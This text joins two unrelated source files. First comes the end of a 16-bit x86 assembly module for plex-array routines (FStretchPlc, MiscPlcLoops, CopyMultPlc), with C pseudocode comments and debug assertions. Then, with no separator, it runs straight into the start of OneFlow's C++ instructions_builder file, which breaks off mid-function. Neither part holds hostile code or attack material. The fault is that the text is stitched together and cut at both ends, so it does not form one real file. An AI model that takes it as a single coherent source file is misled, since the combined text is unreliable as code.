(iMaxNew-1) ; * (sizeof(CP)+cbPlc) + sizeof(CP)), fTrue); ; else ; { ; HQ hqplce = pplc->hqplce; /* WARNING: heap may move */ ; FChngSizePhqLcb(&hqplce, (((long)iMaxNew - 1) * ; (sizeof(CP) + cbPlc) + sizeof(CP))); ; (*hplc)->hqplce = hqplce; ; } ; } ;} pop cx ;restore diMax << 2 jcxz SP025 mov si,[hplc] xor di,di ;don't let LN_FSetSizeByDiMax alter pplc->iMax ;LN_FSetSizeByDiMax takes hplc in si, diMax in di and returns ;carry set iff the size of the hplc could be altered by diMax. ;(*hplc)->iMax is adjusted by this routine also. call LN_FSetSizeByDiMax ifdef DEBUG jc SP02 push ax push bx push cx push dx mov ax,midClsplcn mov bx,1009 cCall AssertProcForNative,<ax,bx> pop dx pop cx pop bx pop ax SP02: endif ;/* DEBUG */ SP025: cEnd ifdef DEBUG SP03: push ax push bx push cx push dx push es ;save es from QcpQfooPlcfoo mov bx,dx shl bx,1 mov ax,mpsbps[bx] mov es,ax shr ax,1 jc SP04 ;Assembler note: There is no way we should have to call ReloadSb here. ; reload sb trashes ax, cx, and dx ; cCall ReloadSb,<> mov ax,midClsplcn mov bx,1010 cCall AssertProcForNative,<ax,bx> SP04: pop ax ;restore es from QcpQfooPlcfoo mov bx,es ;compare with es rederived from the SB of QcpQfooPlcfoo cmp ax,bx je SP05 mov ax,midClsplcn mov bx,1011 cCall AssertProcForNative,<ax,bx> SP05: pop dx pop cx pop bx pop ax ret endif ;/* DEBUG */ ifdef DEBUG ; Assert(!(cx & 1)); SP06: test cl,1 je SP07 push ax push bx push cx push dx push ss pop ds mov ax,midClsplcn mov bx,1012 cCall AssertProcForNative,<ax,bx> pop dx pop cx pop bx pop ax SP07: ret endif ;/* DEBUG */ ;------------------------------------------------------------------------- ; FStretchPlc(hplc, di) ;------------------------------------------------------------------------- ;/* F S T R E T C H P L C */ ;/* Assure room in hplc for di more entries. Changes iMax if necessary but does ;not change any other data. Returns fFalse iff no room. ;*/ ;EXPORT FStretchPlc(hplc, di) ;struct PLC **hplc; ;int di; ;{ ; struct PLC *pplc = *hplc; ; int diNeeded, diRequest; ; %%Function:N_FStretchPlc %%Owner:BRADV cProc N_FStretchPlc,<PUBLIC,FAR>,<si,di> ParmW hplc ParmW diArg cBegin mov di,[diArg] mov si,[hplc] ;LN_FStretchPlc takes hplc in si and di in di. ;The result is returned in ax. ax, bx, cx, dx, di are altered. call LN_FStretchPlc cEnd ;LN_FStretchPlc takes hplc in si and di in di. ;The result is returned in ax. ax, bx, cx, dx, di are altered. LN_FStretchPlc: ; Assert(vfUrgentAlloc); ifdef DEBUG cmp [vfUrgentAlloc],fFalse jne FSP01 push ax push bx push cx push dx mov ax,midClsplcn mov bx,1013 cCall AssertProcForNative,<ax,bx> pop dx pop cx pop bx pop ax FSP01: endif ;DEBUG ; AssertH(hplc); ifdef DEBUG push ax push bx push cx push dx mov ax,midClsplcn mov cx,1014 ; label # for native assert cCall AssertHForNative,<si, ax, cx> pop dx pop cx pop bx pop ax endif ;/* DEBUG */ ; if ((diNeeded = di - (pplc->iMax - pplc->iMac - 1)) <= 0) ;/* there is already sufficient space, do nothing */ ; return fTrue; mov bx,[si] mov cx,di sub di,[bx.iMaxPlc] add di,[bx.iMacPlcStr] inc di mov ax,fTrue jle FSP03 ; else ;/* we need to expand beyond current max */ ; { ; if (di == 1 && !vfInCommit && ; (diRequest = pplc->iMax/4) > diNeeded) ;/* if just growing by one, try to grow by a larger increment first */ ; { ;ax = 1, bx = pplc, cx = di, si = hplc, di = diNeeded errnz <fTrue - 1> cmp cx,ax jne FSP02 cmp [vfInCommit],fFalse jne FSP02 mov dx,[bx.iMaxPlc] shr dx,1 shr dx,1 cmp dx,di jle FSP02 ; BOOL f; ; int matSave; ;/* we don't want to hand over swap space just to give a plc extra entries so ; we declare that the first allocation we will try is non-urgent. */ ; vfUrgentAlloc = fFalse; errnz <fTrue - fFalse - 1> dec ax mov [vfUrgentAlloc],ax ; matSave = vmerr.mat; push [vmerr.matMerr] ; f = FStretchPlc2(hplc, diRequest); push di ;save diNeeded mov di,dx ;LN_FStretchPlc2 takes hplc in si, di in di and returns ;the result in ax. ax, bx, cx, dx, di are altered. call LN_FStretchPlc2 pop di ;restore diNeeded ; vfUrgentAlloc = fTrue; errnz <fTrue - fFalse - 1> inc [vfUrgentAlloc] ; if (f) ; return fTrue; pop dx ;remove matSave from stack or ax,ax jne FSP03 ; /* if 1st alloc failed, restore vmerr flag in case ; 2nd try succeeds. ; */ ; vmerr.mat = matSave; mov [vmerr.matMerr],dx ; } FSP02: ; return FStretchPlc2(hplc, diNeeded); ;LN_FStretchPlc2 takes hplc in si, di in di and returns ;the result in ax. ax, bx, cx, dx, di are altered. call LN_FStretchPlc2 ; } ;} FSP03: ret ;------------------------------------------------------------------------- ; FStretchPlc2(hplc, di) ;------------------------------------------------------------------------- ;/* F S T R E T C H P L C 2 */ ;/* Grows iMax by exactly di. Returns fFalse iff no room. ;*/ ;FStretchPlc2(hplc, di) ;struct PLC **hplc; ;int di; ;{ ; struct PLC *pplc = *hplc; ; long lcb; ; int iMaxNew; ;LN_FStretchPlc2 takes hplc in si, di in di and returns ;the result in ax. ax, bx, cx, dx, di are altered. LN_FStretchPlc2: ;/* don't let plc overflow iMac */ ; if ((iMaxNew = pplc->iMax + di) < 0) ; { ; SetErrorMat(matMem); ; return fFalse; ; } mov bx,[si] mov dx,di add dx,[bx.iMaxPlc] clc jl FSP201 ; if (pplc->fExternal) ; if (vfInCommit) ;/* should already be big enough */ ; Assert(CbOfHq(pplc->hqplce) >= lcb); ; else ; { ; HQ hq = pplc->hqplce; ; if (!FChngSizePhqLcb(&hq, lcb)) /* HM */ ; return fFalse; ; (*hplc)->hqplce = hq; ; } ; else ; if (vfInCommit) ;/* should already be big enough */ ; Assert(CbOfH(hplc) >= lcb + cbPLCBase); ; else ; { ;/* protect against cb overflow */ ; if ((lcb += cbPLCBase) > 0x00007fff) ; { ; SetErrorMat(matMem); ; return fFalse; ; } ; if (!FChngSizeHCw(hplc, CwFromCch((uns)lcb), fFalse)) ; return fFalse; ; } ;LN_FSetSizeByDiMax takes hplc in si, diMax in di and returns ;carry set iff the size of the hplc could be altered by diMax. ;(*hplc)->iMax is adjusted by this routine also. call LN_FSetSizeByDiMax FSP201: sbb ax,ax je FSP202 ; pplc = *hplc; ;/* push rgfoo tables from old pos, up by di CP's */ ; BltInPlc(bpmFoo, hplc, 0, di, 0, pplc->iMac); ; pplc->iMax += di; ;***Begin in-line BltInPlc ; QcpQfooPlcfoo takes hplcfoo in bx, ifoo in si, it returns pplcfoo ; in bx, cbfoo in cx, qcp in es:di, qfoo in es:si. ; if DEBUG it returns hpcp in dx:di, hpfoo in dx:si. ; Changes ax, bx, cx, dx, si, di. push si ;save hplc push di ;save di argument mov bx,si mov si,[si] mov si,[si.iMacPlcStr] ifdef DEBUG mov di,1 ;O.K. to pass iMac endif ;DEBUG cCall N_QcpQfooPlcfoo,<> ifdef DEBUG ;Check that es == mpsbps[dx]; call FSP203 endif ;DEBUG pop ax ;restore di argument dec si dec si ;adjust for post-decrement mov di,si shl ax,1 shl ax,1 sub si,ax mov ax,[bx.iMacPlcStr] mul cx xchg ax,cx ifdef DEBUG ; /* Assert (!(cx & 1)) with a call so as not to mess up ; short jumps */ call FSP206 endif ;/* DEBUG */ shr cx,1 push es pop ds std rep movsw cld push ss pop ds ;***End in-line BltInPlc pop si ;restore hplc ; return fTrue; mov ax,fTrue ;} FSP202: ret ifdef DEBUG FSP203: push ax push bx push cx push dx push es ;save es from QcpQfooPlcfoo mov bx,dx shl bx,1 mov ax,mpsbps[bx] mov es,ax shr ax,1 jc FSP204 ;Assembler note: There is no way we should have to call ReloadSb here. ; reload sb trashes ax, cx, and dx ; cCall ReloadSb,<> mov ax,midClsplcn mov bx,1015 cCall AssertProcForNative,<ax,bx> FSP204: pop ax ;restore es from QcpQfooPlcfoo mov bx,es ;compare with es rederived from the SB of QcpQfooPlcfoo cmp ax,bx je FSP205 mov ax,midClsplcn mov bx,1016 cCall AssertProcForNative,<ax,bx> FSP205: pop dx pop cx pop bx pop ax ret endif ;/* DEBUG */ ifdef DEBUG ; Assert(!(cx & 1)); FSP206: test cl,1 je FSP207 push ax push bx push cx push dx push ss pop ds mov ax,midClsplcn mov bx,1021 cCall AssertProcForNative,<ax,bx> pop dx pop cx pop bx pop ax FSP207: ret endif ;/* DEBUG */ ;LN_FSetSizeByDiMax takes hplc in si, diMax in di and returns ;carry set iff the size of the hplc could be altered by diMax. ;(*hplc)->iMax is adjusted by this routine also. LN_FSetSizeByDiMax: ; lcb = (long)(iMaxNew-1)*(pplc->cb + sizeof(CP)) + sizeof(CP); mov bx,[si] ;Assembler note: assert we have an external plc here because no ;one creates internal PLC's anymore. ifdef DEBUG test [bx.fExternalPlc],maskFExternalPlc jne FSSBIM01 push ax push bx push cx push dx mov ax,midClsplcn mov bx,1017 cCall AssertProcForNative,<ax,bx> pop dx pop cx pop bx pop ax FSSBIM01: endif ;DEBUG mov ax,[bx.cbPlc] add ax,4 mov dx,[bx.iMaxPlc] add dx,di dec dx ifdef DEBUG jge FSSBIM02 push ax push bx push cx push dx mov ax,midClsplcn mov bx,1018 cCall AssertProcForNative,<ax,bx> pop dx pop cx pop bx pop ax FSSBIM02: endif ;DEBUG mul dx add ax,4 adc dx,0 clc jnz FSSBIM06 ; if (vfInCommit) ; Assert(CbOfHq(pplc->hqplce) >= lcb); ;#define CbOfHq(hq) (*((uns HUGE *)HpOfHq(hq)-1)) mov dx,[bx.LO_hqplcePlc] mov bx,[bx.HI_hqplcePlc] push bx push dx ;save hqplce in memory ifdef DEBUG push dx ;save low hqplce endif ;DEBUG call LN_ReloadSb ifdef DEBUG pop bx ;restore low hqplce endif ;DEBUG cmp [vfInCommit],fFalse ifdef DEBUG jne FSSBIM07 else ;not DEBUG jne FSSBIM04 endif ;DEBUG ; else ; { ; HQ hqplce = pplc->hqplce; /* WARNING: heap may move */ ; if (!FChngSizePhqLcb(&hqplce, lcb)) /* HM */ ; return fFalse; ; (*hplc)->hqplce = hqplce; ; } mov bx,sp xor cx,cx cCall FChngSizePhqLcb,<bx, cx, ax> or ax,ax je FSSBIM05 FSSBIM04: mov bx,[si] pop [bx.LO_hqplcePlc] pop [bx.HI_hqplcePlc] add [bx.iMaxPlc],di stc db 0B8h ;turns "pop dx, pop bx" to "mov ax,immediate" FSSBIM05: pop dx pop bx ;remove hqplce from stack FSSBIM06: ret ifdef DEBUG FSSBIM07: push ax push bx push cx push dx mov bx,es:[bx] cmp ax,es:[bx-2] push bx push ax jbe FSSBIM08 mov ax,midClsplcn mov bx,1019 cCall AssertProcForNative,<ax,bx> FSSBIM08: pop ax pop bx pop dx pop cx pop bx pop ax jmp FSSBIM04 endif ;DEBUG LN_ReloadSb: push ax ;save lcb shl bx,1 mov ax,mpsbps[bx] mov es,ax shr ax,1 jc RS01 ; reload sb trashes ax, cx, and dx cCall ReloadSb,<> RS01: ifdef DEBUG mov bx,[wFillBlock] mov cx,[wFillBlock] mov dx,[wFillBlock] endif ;DEBUG pop ax ;restore lcb ret ;------------------------------------------------------------------------- ; MiscPlcLoops(hplc, iFirst, iLim, pResult, wRoutine) ;------------------------------------------------------------------------- ;HANDNATIVE C_MiscPlcLoops(hplc, iFirst, iLim, pResult, wRoutine) ;struct PLC **hplc; ;int iFirst; ;int iLim; ;char *pResult; ;int wRoutine; ;{ ; union { ; struct PAD pad; ; struct PGD pgd; ; struct PHE phe; ; struct SED sed; ; struct FRD frd; ; struct PCD pcd; ; } foo; ; int ifoo; ; %%Function:N_MiscPlcLoops %%Owner:BRADV cProc N_MiscPlcLoops,<PUBLIC,FAR>,<si,di> ParmW hplc ParmW iFirst ParmW iLim ParmW pResult ParmW wRoutine cBegin ; QcpQfooPlcfoo takes hplcfoo in bx, ifoo in si, it returns pplcfoo ; in bx, cbfoo in cx, qcp in es:di, qfoo in es:si. ; if DEBUG it returns hpcp in dx:di, hpfoo in dx:si. ; Changes ax, bx, cx, dx, si, di. mov bx,[hplc] mov si,[iFirst] ifdef DEBUG mov di,1 ;O.K. to pass ifldMac endif ;DEBUG cCall N_QcpQfooPlcfoo,<> ifdef DEBUG ;Check that es == mpsbps[dx]; call MSL09 endif ;DEBUG xchg ax,cx mov cx,[iLim] sub cx,[iFirst] jle MSL08 mov di,[pResult] ; if (wRoutine == 0 /* SetPlcUnk */) ; { cmp bptr ([wRoutine]),1 jae MSL02 ; for (ifoo = iFirst; ifoo < iLim; ifoo++) ; { ; GetPlc(hplc, ifoo, &foo); ; foo.pad.fUnk = fTrue; ; PutPlcLast(hplc, ifoo, &foo); ; } MSL01: or es:[si.fUnkPgd],maskFUnkPgd add si,ax loop MSL01 ; } jmp short MSL08 ; if (wRoutine == 1 /* NAutoFtn */) ; { MSL02: ja MSL05 ; for (ifoo = iFirst; ifoo < iLim; ifoo++) ; { ; GetPlc(hplc, ifoo, &foo); ; *((int *)pResult) += foo.frd.fAuto; ; } mov bx,[di] ; Assert(hplc->cb == 2); ifdef DEBUG cmp ax,2 je MSL03 push ax push bx push cx push dx mov ax,midClsplcn mov bx,1023 cCall AssertProcForNative,<ax,bx> pop dx pop cx pop bx pop ax MSL03: endif ;/* DEBUG */ MSL04: lods wptr es:[si] add bx,ax loop MSL04 mov [di],bx jmp short MSL08 ; } ; if (wRoutine == 2 /* MarkAllReferencedFn */) ; { MSL05: ; for (ifoo = iFirst; ifoo < iLim; ifoo++) ; { ; GetPlc(hplc, ifoo, &foo); ; Assert(foo.pcd.fn < fnMax); ; Assert(fnNil == 0); ; pResult[foo.pcd.fn] = fTrue; ; } xor bx,bx MSL06: mov bl,es:[si.fnPcd] ifdef DEBUG cmp bl,fnMax jb MSL07 push ax push bx push cx push dx mov ax,midClsplcn mov bx,1024 cCall AssertProcForNative,<ax,bx> pop dx pop cx pop bx pop ax MSL07: endif ;/* DEBUG */ mov bptr [bx+di],fTrue add si,ax loop MSL06 ; } MSL08: ;} cEnd ifdef DEBUG MSL09: push ax push bx push cx push dx push es ;save es from QcpQfooPlcfoo mov bx,dx shl bx,1 mov ax,mpsbps[bx] mov es,ax shr ax,1 jc MSL10 ;Assembler note: There is no way we should have to call ReloadSb here. ; reload sb trashes ax, cx, and dx ; cCall ReloadSb,<> mov ax,midClsplcn mov bx,1025 cCall AssertProcForNative,<ax,bx> MSL10: pop ax ;restore es from QcpQfooPlcfoo mov bx,es ;compare with es rederived from the SB of QcpQfooPlcfoo cmp ax,bx je MSL11 mov ax,midClsplcn mov bx,1026 cCall AssertProcForNative,<ax,bx> MSL11: pop dx pop cx pop bx pop ax ret endif ;/* DEBUG */ ; End of MiscPlcLoops ;------------------------------------------------------------------------- ; CopyMultPlc( cFoo, hplcSrc, ifooSrc, hplcDest, ifooDest, ; dcp, di, dc ) ;------------------------------------------------------------------------- ;/* C O P Y M U L T P L C */ ;/* this routine can copy a block of entries from one plc to another (needs ;separate base registers in 8086 architecture). ;Dcp optionally (!=0) added to the copied cp's. ;di (0 or 1) is optional displacement for cp indeces. In some plc's it is ;necessary to move cp[i + 1] with foo[i]. ;dc (0 or 1) is optional extra count for cp copying. In some plc's it is ;necessary to move one more cp's than foo's. ;*/ ;native CopyMultPlc(cFoo, hplcSrc, ifooSrc, hplcDest, ifooDest, dcp, di, dc) ;int cFoo; ;struct PLC **hplcSrc, **hplcDest; ;int ifooSrc, ifooDest; ;CP dcp; ;int di, dc; ;{ ; %%Function:CopyMultPlc %%Owner:BRADV cProc CopyMultPlc,<PUBLIC,FAR>,<si,di> ParmW cFoo ParmW hplcSrc ParmW ifooSrc ParmW hplcDest ParmW ifooDest ParmD dcp ParmW diArg ParmW dcArg LocalW <OFF_lprgcpSrc> LocalW <OFF_lprgcpDest> cBegin ; AssertH( hplcSrc ); ; AssertH( hplcDest ); ifdef DEBUG push ax push bx push cx push dx mov ax,midClsplcn mov bx,1027 cCall AssertHForNative,<hplcSrc, ax, bx> mov ax,midClsplcn mov bx,1028 cCall AssertHForNative,<hplcDest, ax, bx> pop dx pop cx pop bx pop ax endif ;/* DEBUG */ ; save old cFoo, ifooSrc, ifooDest for blt. push [cFoo] ; ifooSrc += di; ifooDest += di; ;Assembler note: add diArg to the ifoos only when we need them. mov di,[diArg] ; cFoo += dc; mov ax,[dcArg] add [cFoo],ax ;/* unwind the fenced PLC optimization, so that cps are accurate. */ ; if ((*hplcDest)->icpAdjust < ifooDest) ; AdjustHplcCpsToLim(hplcDest, ifooDest); ; if ((*hplcSrc)->icpAdjust < ifooSrc + cFoo) ; AdjustHplcCpsToLim(hplcSrc, ifooSrc + cFoo); mov bx,[hplcSrc] mov si,[bx] mov ax,[ifooSrc] add ax,di add ax,[cFoo] cmp ax,[si.icpAdjustPlc] jle CMP03 cCall AdjustHplcCpsToLim,<bx,ax> CMP03: mov bx,[hplcDest] mov si,[bx] mov ax,[ifooDest] add ax,di cmp ax,[si.icpAdjustPlc] jle CMP04 cCall AdjustHplcCpsToLim,<bx,ax> CMP04: ;/* we must move the destination adjustment fence past the end of the range ; we're going to write over. */ ; if ((*hplcDest)->icpAdjust < ifooDest + cFoo) ; (*hplcDest)->icpAdjust = ifooDest + cFoo; ; di = *hplcDest mov ax,[ifooDest] add ax,di add ax,[cFoo] cmp ax,[si.icpAdjustPlc] jle CMP05 mov [si.icpAdjustPlc],ax CMP05: ; /* transfer foo's */ ; NOTE: We don't check for cFoo == 0 in the assembler version ; because the blt code does necessary segment reloading. ; if (cFoo > 0) ; bltbx(QInPlc(hplcSrc, ifooSrc), QInPlc(hplcDest, ifooDest), (*hplcSrc)->cb * cFoo); ; It is possible that the call later on to ReloadSb for hplcDest ; would force out the sb for hplcSrc. This would happen if now ; sbSrc was oldest on the LRU list but still swapped in, and sbDest ; was swapped out. In that event ReloadSb would not be called for ; sbSrc, the LRU entry would not get updated, and the call to ReloadSb ; for sbDest would swap out sbSrc. ; This call to QcpQfooPlcfoo makes that state impossible and so works ; around the LMEM quirk. ; QcpQfooPlcfoo takes hplcfoo in bx, ifoo in si, it returns pplcfoo ; in bx, cbfoo in cx, qcp in es:di, qfoo in es:si. ; if DEBUG it returns hpcp in dx:di, hpfoo in dx:si. ; Changes ax, bx, cx, dx, si, di. mov bx,[hplcDest] xor si,si ifdef DEBUG mov di,1 ;O.K. to pass ifldMac endif ;DEBUG cCall N_QcpQfooPlcfoo,<> ifdef DEBUG ;Check that es == mpsbps[dx]; call CMP12 endif ;DEBUG ; QcpQfooPlcfoo takes hplcfoo in bx, ifoo in si, it returns pplcfoo ; in bx, cbfoo in cx, qcp in es:di, qfoo in es:si. ; if DEBUG it returns hpcp in dx:di, hpfoo in dx:si. ; Changes ax, bx, cx, dx, si, di. mov bx,[hplcSrc] mov si,[ifooSrc] ifdef DEBUG mov di,1 ;O.K. to pass ifldMac endif ;DEBUG cCall N_QcpQfooPlcfoo,<> ifdef DEBUG ;Check that es == mpsbps[dx]; call CMP12 endif ;DEBUG mov [OFF_lprgcpSrc],di push es push si ;save lpFooSrc ; QcpQfooPlcfoo takes hplcfoo in bx, ifoo in si, it returns pplcfoo ; in bx, cbfoo in cx, qcp in es:di, qfoo in es:si. ; if DEBUG it returns hpcp in dx:di, hpfoo in dx:si. ; Changes ax, bx, cx, dx, si, di. mov bx,[hplcDest] mov si,[ifooDest] ifdef DEBUG mov di,1 ;O.K. to pass ifldMac endif ;DEBUG cCall N_QcpQfooPlcfoo,<> ifdef DEBUG ;Check that es == mpsbps[dx]; call CMP12 endif ;DEBUG mov [OFF_lprgcpDest],di mov di,si pop si pop ds ;restore lpFooSrc pop ax ;restore old cFoo mul ss:[bx.cbPlc] xchg ax,cx cmp si,di ; reverse direction of the blt if jae CMP08 ; necessary add si,cx add di,cx std dec si dec di dec si dec di CMP08: shr cx,1 ifdef DEBUG jnc CMP085 push ax push bx push cx push dx cld mov ax,midClsplcn mov bx,1029 cCall AssertProcForNative,<ax,bx> pop dx pop cx pop bx pop ax CMP085: endif ;/* DEBUG */ rep movsw cld ; CP far *lprgcpSrc = LprgcpForPlc(*hplcSrc); ; CP far *lprgcpDest = LprgcpForPlc(*hplcDest); mov ax,[diArg] shl ax,1 shl ax,1 mov si,[OFF_lprgcpSrc] add si,ax mov di,[OFF_lprgcpDest] add di,ax ; /* transfer cp's */ ; bltbx((char far *)(lprgcpSrc) + ifooSrc * sizeof(CP), ; (char far *)(lprgcpDest) + ifooDest * sizeof(CP), ; cFoo * sizeof(CP)); ; if (dcp != cp0) ; while (cFoo--) ; { ; PutCpPlc(hplcDest, ifooDest, CpPlc(hplcDest, ifooDest) + dcp); ; ifooDest++; ; } mov bx,[OFF_dcp] mov dx,[SEG_dcp] mov cx,[cFoo] push bp xor bp,bp cmp si,di ja CMP09 mov bp,cx dec bp shl bp,1 shl bp,1 add si,bp add di,bp mov bp,8 CMP09: inc cx ;adjust for loop instruction jmp short CMP11 CMP10: lodsw add ax,bx stosw lodsw adc ax,dx stosw sub si,bp sub di,bp CMP11: loop CMP10 pop bp push ss pop ds ;} cEnd ifdef DEBUG CMP12: push ax push bx push cx push dx push es ;save es from QcpQfooPlcfoo mov bx,dx shl bx,1 mov ax,mpsbps[bx] mov es,ax shr ax,1 jc CMP13 ;Assembler note: There is no way we should have to call ReloadSb here. ; reload sb trashes ax, cx, and dx ; cCall ReloadSb,<> mov ax,midClsplcn mov bx,1030 cCall AssertProcForNative,<ax,bx> CMP13: pop ax ;restore es from QcpQfooPlcfoo mov bx,es ;compare with es rederived from the SB of QcpQfooPlcfoo cmp ax,bx je CMP14 mov ax,midClsplcn mov bx,1031 cCall AssertProcForNative,<ax,bx> CMP14: pop dx pop cx pop bx pop ax ret endif ;/* DEBUG */ ; End of CopyMultPlc sEnd clsplcn end
/* Copyright 2020 The OneFlow Authors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #include <atomic> #include "oneflow/core/framework/instructions_builder.h" #include "oneflow/core/framework/symbol_storage_util.h" #include "oneflow/core/eager/eager_symbol.cfg.h" #include "oneflow/core/job/job_conf.cfg.h" #include "oneflow/core/job/placement.cfg.h" #include "oneflow/core/job/scope.cfg.h" #include "oneflow/core/framework/parallel_conf_util.h" #include "oneflow/core/framework/object_storage.h" #include "oneflow/core/operator/op_node_signature.cfg.h" #include "oneflow/core/operator/operator.h" #include "oneflow/core/framework/id_util.h" #include "oneflow/core/operator/interface_blob_conf.cfg.h" #include "oneflow/core/framework/scope_util.h" #include "oneflow/core/framework/session_util.h" #include "oneflow/core/eager/eager_oneflow.h" #include "oneflow/core/common/container_util.h" #include "oneflow/core/rpc/include/global_process_ctx.h" #include "oneflow/core/vm/no_arg_cb_phy_instr_operand.h" #include "oneflow/core/vm/access_blob_arg_cb_phy_instr_operand.h" #include "oneflow/core/vm/release_tensor_arg_phy_instr_operand.h" #include "oneflow/core/vm/soft_sync_stream_phy_instr_operand.h" #include "oneflow/core/framework/consistent_tensor_infer_cache.h" #include "oneflow/core/framework/local_dep_object.h" #include "oneflow/core/framework/tensor.h" #include "oneflow/core/framework/device.h" #include "oneflow/core/framework/instruction_replay.h" #include "oneflow/core/job/env_desc.h" namespace oneflow { namespace { Maybe<int64_t> NewSymbolId(vm::IdGenerator* id_generator, vm::InstructionMsgList* instruction_list) { int64_t symbol_id = JUST(id_generator->NewSymbolId()); ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New("NewSymbol"); instruction->add_int64_operand(symbol_id); instruction_list->PushBack(instruction.Mutable()); return symbol_id; } template<typename T> const char* GetInstrTypeName(); template<> const char* GetInstrTypeName<cfg::JobConfigProto>() { return "InitJobDescSymbol"; } template<> const char* GetInstrTypeName<cfg::ParallelConf>() { return "NewParallelDescSymbol"; } template<> const char* GetInstrTypeName<cfg::ScopeProto>() { return "InitScopeSymbol"; } template<typename T> T* MutEagerSymbolConf(vm::cfg::EagerSymbol*); template<> cfg::JobConfigProto* MutEagerSymbolConf<cfg::JobConfigProto>(vm::cfg::EagerSymbol* eager_symbol) { return eager_symbol->mutable_job_conf_symbol(); } template<> cfg::ParallelConf* MutEagerSymbolConf<cfg::ParallelConf>(vm::cfg::EagerSymbol* eager_symbol) { return eager_symbol->mutable_parallel_conf_symbol(); } template<> cfg::ScopeProto* MutEagerSymbolConf<cfg::ScopeProto>(vm::cfg::EagerSymbol* eager_symbol) { return eager_symbol->mutable_scope_symbol(); } Maybe<void> AddStringSymbol(int64_t symbol_id, const std::string& data) { JUST(Global<symbol::Storage<StringSymbol>>::Get()->Add(symbol_id, data)); auto* id_cache = JUST(GlobalMaybe<symbol::IdCache<std::string>>()); CHECK_OR_RETURN(!id_cache->Has(data)); JUST(id_cache->FindOrCreate(data, [&symbol_id]() -> Maybe<int64_t> { return symbol_id; })); return Maybe<void>::Ok(); } uint64_t NewTokenId() { static std::atomic<uint64_t> token_id(0); token_id++; return token_id; } using IntList = std::vector<int64_t>; using Int2IntListMap = HashMap<int64_t, std::shared_ptr<IntList>>; // This function is used to determine whether the machine_id2sorted_dev_phy_ids of ParallelDesc are // equal bool Int2IntListMapContaining(const Int2IntListMap& bigger, const Int2IntListMap& smaller) { for (const auto& pair : smaller) { if (bigger.find(pair.first) == bigger.end()) { return false; } const auto& bigger_device_ids = bigger.find(pair.first)->second; std::vector<int64_t>::iterator ret; for (int64_t device_id : *pair.second) { ret = std::find(bigger_device_ids->begin(), bigger_device_ids->end(), device_id); if (ret == bigger_device_ids->end()) { return false; } } } return true; } Maybe<compatible_py::BlobObject> MakeNewBlobObjectLike( InstructionsBuilder* builder, const std::shared_ptr<compatible_py::BlobObject>& blob_object, const std::shared_ptr<ParallelDesc>& new_parallel_desc_symbol) { OperatorConf op_conf; op_conf.set_name(*JUST(UniqueStr("Input"))); op_conf.set_device_tag(new_parallel_desc_symbol->device_tag()); op_conf.mutable_input_conf()->set_out("out"); std::shared_ptr<cfg::InterfaceBlobConf> cfg_interface_blob_conf = std::make_shared<cfg::InterfaceBlobConf>(); blob_object->op_arg_parallel_attr()->DumpToInterfaceBlobConf(cfg_interface_blob_conf); blob_object->op_arg_blob_attr()->DumpToInterfaceBlobConf(cfg_interface_blob_conf); cfg_interface_blob_conf->ToProto(op_conf.mutable_input_conf()->mutable_blob_conf()); std::shared_ptr<Scope> cur_scope = JUST(GetCurrentScope()); op_conf.set_scope_symbol_id(JUST(cur_scope->symbol_id())); OpNodeSignature upstream_signature; const auto& op = JUST(ConstructAndInferOp(op_conf, upstream_signature, *cur_scope)); const auto& op_attribute = op->GetOpAttributeWithoutOpNameAndLbn(); std::shared_ptr<cfg::ParallelConf> parallel_conf = new_parallel_desc_symbol->cfg_parallel_conf(); std::shared_ptr<HashMap<std::string, std::shared_ptr<compatible_py::BlobObject>>> bn_in_op2blob_object = std::make_shared<HashMap<std::string, std::shared_ptr<compatible_py::BlobObject>>>(); JUST(builder->RawStatelessCall(std::make_shared<cfg::OpAttribute>(*op_attribute), parallel_conf, bn_in_op2blob_object)); return JUST(MapAt(*bn_in_op2blob_object, "out")); } Maybe<void> _ReleaseLogicalObject(compatible_py::Object* obj) { JUST(LogicalRun([&obj](InstructionsBuilder* build) -> Maybe<void> { JUST(build->DeleteObject(obj)); return Maybe<void>::Ok(); })); return Maybe<void>::Ok(); } Maybe<void> _ReleasePhysicalObject(compatible_py::Object* obj) { JUST(PhysicalRun([&obj](InstructionsBuilder* build) -> Maybe<void> { JUST(build->DeleteObject(obj)); return Maybe<void>::Ok(); })); return Maybe<void>::Ok(); } Maybe<compatible_py::BlobObject> CreateDelegateBlobObject( const std::function<std::shared_ptr<compatible_py::BlobObject>( const std::shared_ptr<compatible_py::BlobObject>&, const std::shared_ptr<compatible_py::OpArgParallelAttribute>&)>& Fetch, const std::shared_ptr<compatible_py::BlobObject>& x_blob_object, const std::shared_ptr<compatible_py::OpArgParallelAttribute>& op_arg_parallel_attr) { if ((*x_blob_object->op_arg_parallel_attr()) == (*op_arg_parallel_attr)) { return x_blob_object; } return Fetch(x_blob_object, op_arg_parallel_attr); } } // namespace namespace detail { template<typename T> Maybe<int64_t> CreateSymbolIdHelper<T>::Call(vm::IdGenerator* id_generator, vm::InstructionMsgList* instruction_list, vm::cfg::EagerSymbolList* eager_symbol_list, const T& conf) { int64_t symbol_id = JUST(NewSymbolId(id_generator, instruction_list)); { ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New(GetInstrTypeName<T>()); instruction->add_init_symbol_operand(symbol_id); instruction_list->PushBack(instruction.Mutable()); } { auto* eager_symbol = eager_symbol_list->mutable_eager_symbol()->Add(); eager_symbol->set_symbol_id(symbol_id); MutEagerSymbolConf<T>(eager_symbol)->CopyFrom(conf); } return symbol_id; } template struct CreateSymbolIdHelper<cfg::JobConfigProto>; template struct CreateSymbolIdHelper<cfg::ScopeProto>; template<> Maybe<int64_t> CreateSymbolIdHelper<cfg::ParallelConf>::Call( vm::IdGenerator* id_generator, vm::InstructionMsgList* instruction_list, vm::cfg::EagerSymbolList* eager_symbol_list, const cfg::ParallelConf& conf) { int64_t symbol_id = JUST(id_generator->NewSymbolId()); { ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New(GetInstrTypeName<cfg::ParallelConf>()); instruction->add_int64_operand(symbol_id); 